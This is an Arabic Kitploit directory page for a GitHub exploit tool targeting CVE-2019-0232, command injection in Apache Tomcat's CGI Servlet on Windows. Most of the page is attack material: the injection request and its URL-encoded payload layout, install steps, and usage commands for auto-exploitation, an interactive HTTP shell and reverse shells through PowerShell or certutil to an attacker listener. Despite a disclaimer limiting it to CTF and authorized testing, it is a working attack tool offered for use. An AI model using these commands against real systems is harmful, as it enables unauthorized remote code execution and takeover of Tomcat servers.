Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2019-0232 — Apache Tomcat CGI Servlet RCE (Windows) | Kitploit
أدوات/GitHubGitHub/blackjuker2/cve-2019-0232
ماسحات الثغرات الأمنيةتوليد الحمولةالاستغلالشيل كوداستغلال تطبيقات الويبالاختبار العشوائياختبار الاختراقالتعلم والتعليمأداة الوصول عن بعد
GitHubblackjuker2/cve-2019-0232

CVE-2019-0232

Apache Tomcat CGI Servlet RCE (Windows)

منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع

CVE-2019-0232 — ثغرة تنفيذ الأوامر عن بعد في Apache Tomcat CGI Servlet

إثبات مفهوم تعليمي مخصص لمسابقات CTF واختبار الاختراق المصرح به فقط.
تشغيل هذه الأداة ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها غير قانوني.


نظرة عامة على الثغرة

CVE-2019-0232 هي ثغرة تنفيذ أوامر عن بعد في Apache Tomcat على نظام Windows. عندما يحتوي CGI Servlet على enableCmdLineArguments=true (الإعداد الافتراضي على Windows قبل التصحيح)، يقوم Tomcat بتمرير سلسلة استعلام HTTP مباشرة كوسائط سطر أوامر إلى ملف CGI الدفعي عبر Runtime.exec(). على Windows، يقوم Runtime.exec() بتغليف الاستدعاء مع cmd.exe /c، مما يجعل فاصل الأوامر & نشطًا داخل هذه الوسائط.

يمكن للمهاجم حقن أمر نظام تشغيل ثانٍ عن طريق تضمين & (مشفّر URL كـ %26) في URL:

root@kitploit:~
GET /cgi-bin/cmd.bat?%26whoami HTTP/1.1

# Tomcat URL-decodes → cmd.exe /c cmd.bat &whoami
# cmd.exe sees the & and runs whoami after cmd.bat exits

الإصدارات المتأثرة (Windows فقط)

الفرعالنطاق المصابالإصدار المُصحّح
9.0.x9.0.0.M1 – 9.0.179.0.18
8.5.x8.5.0 – 8.5.398.5.40
7.0.x7.0.0 – 7.0.937.0.94

الشرط: enableCmdLineArguments=true في conf/web.xml (الإعداد الافتراضي على Windows قبل التصحيح).


الميزات

  • وضع تلقائي — سلسلة كاملة: استكشاف → تخمين مسارات CGI → شل تفاعلية
  • كشف الإصدار — يحدد إصدار Tomcat من رؤوس HTTP وصفحات الأخطاء
  • مخمن مسار CGI — متعدد الخيوط، قائمة كلمات مدمجة + قائمة كلمات مخصصة اختيارية (-w)
  • أمر واحد — تنفيذ أمر واحد وطباعة المخرجات (--cmd)
  • شل تفاعلية عبر HTTP — حلقة REPL عبر HTTP، كل أمر طلب جديد
  • شل عكسية — مستمع TCP مدمج
    • حمولة PowerShell مشفرة Base64 (افتراضي)
    • مرسل certutil (بديل)
  • حقن مسار — يضبط تلقائياً System32، Windows، Wbem، PowerShell بحيث تعمل whoami وipconfig وnetstat وpowershell.exe بدون مسارات كاملة
  • دمج stderr — يُلحق 2>&1 تلقائياً بحيث تكون مخرجات الأخطاء مرئية

التثبيت

root@kitploit:~
git clone https://github.com/blackjuker2/CVE-2019-0232.git
cd CVE-2019-0232
pip install -r requirements.txt

مطلوب Python 3.8+.


الاستخدام

root@kitploit:~
python3 cve_2019_0232.py -t <TARGET_URL> [options]

الأوضاع

أمثلة

الوضع التلقائي — دع السكربت يجد كل شيء:

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --auto

أمر واحد على نقطة نهاية معروفة:

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --cmd whoami

حلقة شل تفاعلية:

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --interactive

سلسلة تلقائية كاملة → شل عكسية (لا حاجة لـ nc منفصل):

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --auto --reverse-shell --lhost 10.10.14.x --lport 4444

يفتح السكربت مستمع TCP خاص به على --lport، ويطلق حمولة PowerShell، ويضعك في شل تفاعلية عندما يستدعي الهدف.

شل عكسية لـ PowerShell على مسار معروف:

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat  --reverse-shell --lhost 10.10.14.x --lport 4444

مرسل certutil (إذا كان PowerShell محظوراً):

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --reverse-shell --lhost 10.10.14.x --lport 4444 --shell-method certutil

قائمة كلمات مخصصة للتخمين:

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --fuzz -w /usr/share/dirb/wordlists/common.txt

يتم اختبار الإدخالات بدون امتداد ملف تلقائياً كـ .bat و .cmd.

التوجيه عبر Burp Suite:

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --cmd whoami --proxy http://127.0.0.1:8080

عرض URL الحقن الخام قبل كل طلب:

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --interactive --show-url

جميع الخيارات

root@kitploit:~
موضعي / مطلوب:
  -t, --target URL        URL الأساسي للهدف مثلاً http://10.10.10.x:8080

المسار:
  -p, --path PATH         مسار سكربت CGI معروف مثلاً /cgi/cmd.bat

الأوضاع:
  --auto                  سلسلة كاملة: استكشاف → تخمين → تفاعلي
  --enum                  استكشاف إصدار Tomcat ومسارات CGI فقط
  --fuzz                  تخمين نقاط نهاية CGI القابلة للوصول
  --cmd COMMAND           تنفيذ أمر واحد وطباعة المخرجات
  --interactive           حلقة أوامر تفاعلية (شل HTTP)
  --reverse-shell         إرسال شل عكسية لـ PowerShell

الشل العكسية:
  --lhost IP              عنوان IP للمستمع الخاص بك (استخدم tun0 لـ HTB/OSCP)
  --lport PORT            منفذ المستمع الخاص بك (الافتراضي: 4444)
  --shell-method {ps,certutil}
                          نوع الحمولة: ps (افتراضي) أو مرسل certutil

الخيارات:
  -w, --wordlist FILE     أسماء CGI إضافية لتخمينها (واحد لكل سطر)
  --threads N             خيوط التخمين (الافتراضي: 15)
  --timeout N             مهلة HTTP بالثواني (الافتراضي: 10)
  --proxy URL             وكيل HTTP مثلاً http://127.0.0.1:8080
  --no-ssl-verify         تعطيل التحقق من شهادة TLS
  --show-url              طباعة URL الحقن الكامل قبل كل طلب

كيفية عمل الحقن

يبني السكربت URL الحقن في ثلاث خطوات:

  1. حقن PATH — يغلف أمرك في مجموعة تضبط PATH أولاً:

    root@kitploit:~
    (SET PATH=C:\Windows\System32;C:\Windows;...&echo.&<your command> 2>&1)
    

    يخرج echo. سطراً فارغاً، مما يرضي محلل رأس CGI لـ Tomcat بحيث يصبح نص الاستجابة مرئياً.

  2. ترميز URL — تصبح المسافات +، وتصبح الأحرف الخاصة %XX عبر urllib.parse.quote.

  3. نقطة الحقن — توضع المجموعة المشفرة بعد %26 (فاصل &):

    root@kitploit:~
    /cgi/cmd.bat?%26(SET+PATH=...%26echo.%26whoami+2>%261)
    

تم اختباره ضد

  • Apache Tomcat 9.0.17 على Windows Server 2019
  • Python 3.11 / 3.12 على Kali Linux

المراجع

  • NVD — CVE-2019-0232
  • Apache Security Advisory
  • Exploit-DB #47073

إخلاء مسؤولية قانوني

هذه الأداة مقدمة لأغراض تعليمية واختبار أمني مصرح به فقط.
المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة.
احصل دائمًا على إذن كتابي صريح قبل اختبار أي نظام.

تنزيل الأداة
  • دعم وكيل Burp — توجيه حركة المرور عبر --proxy http://127.0.0.1:8080
  • العلمالوصف
    --autoاستكشاف → تخمين → دخول إلى شل تفاعلية
    --enumاستكشاف إصدار Tomcat ومسارات CGI فقط
    --fuzzتخمين نقاط نهاية .bat/.cmd القابلة للوصول
    --cmd COMMANDتنفيذ أمر واحد
    --interactiveحلقة شل HTTP تفاعلية
    --reverse-shellإطلاق شل عكسية (يتطلب --lhost)